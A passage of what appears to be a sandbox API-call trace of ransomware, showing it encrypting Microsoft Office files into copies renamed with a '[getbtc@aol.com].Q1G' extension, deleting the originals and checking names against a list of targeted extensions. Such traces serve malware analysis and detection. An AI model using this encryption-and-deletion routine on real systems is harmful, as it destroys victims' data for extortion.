hTemplateFile=0x0) returned 0x1bc [0261.587] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=320) returned 1 [0261.587] CloseHandle (hObject=0x1bc) returned 1 [0261.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20 [0261.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.587] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.587] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.588] GetLastError () returned 0x0 [0261.588] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x140, lpOverlapped=0x0) returned 1 [0261.591] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x150, lpOverlapped=0x0) returned 1 [0261.592] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.592] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.592] SetEndOfFile (hFile=0x3d8) returned 1 [0261.592] CloseHandle (hObject=0x3d8) returned 1 [0261.592] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.592] SetEndOfFile (hFile=0x1bc) returned 1 [0261.595] CloseHandle (hObject=0x1bc) returned 1 [0261.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 1 [0261.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.596] lstrlenW (lpString=".doc") returned 4 [0261.596] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString=".docx") returned 5 [0261.596] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.596] lstrlenW (lpString=".pdf") returned 4 [0261.596] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString=".xls") returned 4 [0261.596] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString=".xlsx") returned 5 [0261.596] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.596] lstrlenW (lpString=".ppt") returned 4 [0261.596] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.596] lstrlenW (lpString=".zip") returned 4 [0261.596] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString=".rar") returned 4 [0261.596] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.596] lstrlenW (lpString=".bz2") returned 4 [0261.596] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.596] lstrlenW (lpString=".7z") returned 3 [0261.596] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.596] lstrlenW (lpString=".dbf") returned 4 [0261.596] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".1cd") returned 4 [0261.597] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".jpg") returned 4 [0261.597] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".doc") returned 4 [0261.597] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString=".docx") returned 5 [0261.597] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.597] lstrlenW (lpString=".pdf") returned 4 [0261.597] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString=".xls") returned 4 [0261.597] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString=".xlsx") returned 5 [0261.597] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.597] lstrlenW (lpString=".ppt") returned 4 [0261.597] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".zip") returned 4 [0261.597] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString=".rar") returned 4 [0261.597] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString=".bz2") returned 4 [0261.597] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.597] lstrlenW (lpString=".7z") returned 3 [0261.597] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".dbf") returned 4 [0261.597] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.597] lstrlenW (lpString=".1cd") returned 4 [0261.597] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0261.598] lstrlenW (lpString=".jpg") returned 4 [0261.598] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.598] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.598] lstrlenW (lpString="CNFNOT.ICO") returned 10 [0261.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.598] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0261.598] CloseHandle (hObject=0x1bc) returned 1 [0261.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 0x20 [0261.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.599] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.599] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.600] GetLastError () returned 0x0 [0261.600] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0261.602] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0261.603] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.603] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.603] SetEndOfFile (hFile=0x3d8) returned 1 [0261.603] CloseHandle (hObject=0x3d8) returned 1 [0261.603] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.603] SetEndOfFile (hFile=0x1bc) returned 1 [0261.605] CloseHandle (hObject=0x1bc) returned 1 [0261.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 1 [0261.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.606] lstrlenW (lpString=".doc") returned 4 [0261.606] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.606] lstrlenW (lpString=".docx") returned 5 [0261.606] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0261.606] lstrlenW (lpString=".pdf") returned 4 [0261.606] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.606] lstrlenW (lpString=".xls") returned 4 [0261.606] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.606] lstrlenW (lpString=".xlsx") returned 5 [0261.606] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0261.606] lstrlenW (lpString=".ppt") returned 4 [0261.606] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.606] lstrlenW (lpString=".zip") returned 4 [0261.606] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.606] lstrlenW (lpString=".rar") returned 4 [0261.606] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.606] lstrlenW (lpString=".bz2") returned 4 [0261.606] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.606] lstrlenW (lpString=".7z") returned 3 [0261.606] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.606] lstrlenW (lpString=".dbf") returned 4 [0261.606] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.606] lstrlenW (lpString=".1cd") returned 4 [0261.607] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".jpg") returned 4 [0261.607] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".doc") returned 4 [0261.607] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.607] lstrlenW (lpString=".docx") returned 5 [0261.607] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0261.607] lstrlenW (lpString=".pdf") returned 4 [0261.607] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString=".xls") returned 4 [0261.607] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString=".xlsx") returned 5 [0261.607] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0261.607] lstrlenW (lpString=".ppt") returned 4 [0261.607] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".zip") returned 4 [0261.607] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString=".rar") returned 4 [0261.607] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.607] lstrlenW (lpString=".bz2") returned 4 [0261.607] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.607] lstrlenW (lpString=".7z") returned 3 [0261.607] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".dbf") returned 4 [0261.607] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".1cd") returned 4 [0261.607] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0261.607] lstrlenW (lpString=".jpg") returned 4 [0261.607] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.608] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.608] lstrlenW (lpString="CNFRES.CFG") returned 10 [0261.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.609] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=338) returned 1 [0261.609] CloseHandle (hObject=0x1bc) returned 1 [0261.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20 [0261.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.609] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.609] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.610] GetLastError () returned 0x0 [0261.610] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x152, lpOverlapped=0x0) returned 1 [0261.611] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x160, lpOverlapped=0x0) returned 1 [0261.612] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.612] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.612] SetEndOfFile (hFile=0x3d8) returned 1 [0261.612] CloseHandle (hObject=0x3d8) returned 1 [0261.612] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.612] SetEndOfFile (hFile=0x1bc) returned 1 [0261.614] CloseHandle (hObject=0x1bc) returned 1 [0261.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 1 [0261.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.615] lstrlenW (lpString=".doc") returned 4 [0261.615] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.615] lstrlenW (lpString=".docx") returned 5 [0261.615] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0261.615] lstrlenW (lpString=".pdf") returned 4 [0261.615] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.615] lstrlenW (lpString=".xls") returned 4 [0261.615] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.615] lstrlenW (lpString=".xlsx") returned 5 [0261.616] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0261.616] lstrlenW (lpString=".ppt") returned 4 [0261.616] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString=".zip") returned 4 [0261.616] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString=".rar") returned 4 [0261.616] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString=".bz2") returned 4 [0261.616] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.616] lstrlenW (lpString=".7z") returned 3 [0261.616] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString=".dbf") returned 4 [0261.616] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString=".1cd") returned 4 [0261.616] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString=".jpg") returned 4 [0261.616] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.616] lstrlenW (lpString=".doc") returned 4 [0261.616] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString=".docx") returned 5 [0261.616] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0261.616] lstrlenW (lpString=".pdf") returned 4 [0261.616] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString=".xls") returned 4 [0261.616] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString=".xlsx") returned 5 [0261.616] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0261.616] lstrlenW (lpString=".ppt") returned 4 [0261.616] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.617] lstrlenW (lpString=".zip") returned 4 [0261.617] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.617] lstrlenW (lpString=".rar") returned 4 [0261.617] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.617] lstrlenW (lpString=".bz2") returned 4 [0261.617] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.617] lstrlenW (lpString=".7z") returned 3 [0261.617] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.617] lstrlenW (lpString=".dbf") returned 4 [0261.617] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.617] lstrlenW (lpString=".1cd") returned 4 [0261.617] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0261.617] lstrlenW (lpString=".jpg") returned 4 [0261.617] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.617] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.617] lstrlenW (lpString="CONFLICT.ICO") returned 12 [0261.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.618] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0261.618] CloseHandle (hObject=0x1bc) returned 1 [0261.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 0x20 [0261.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 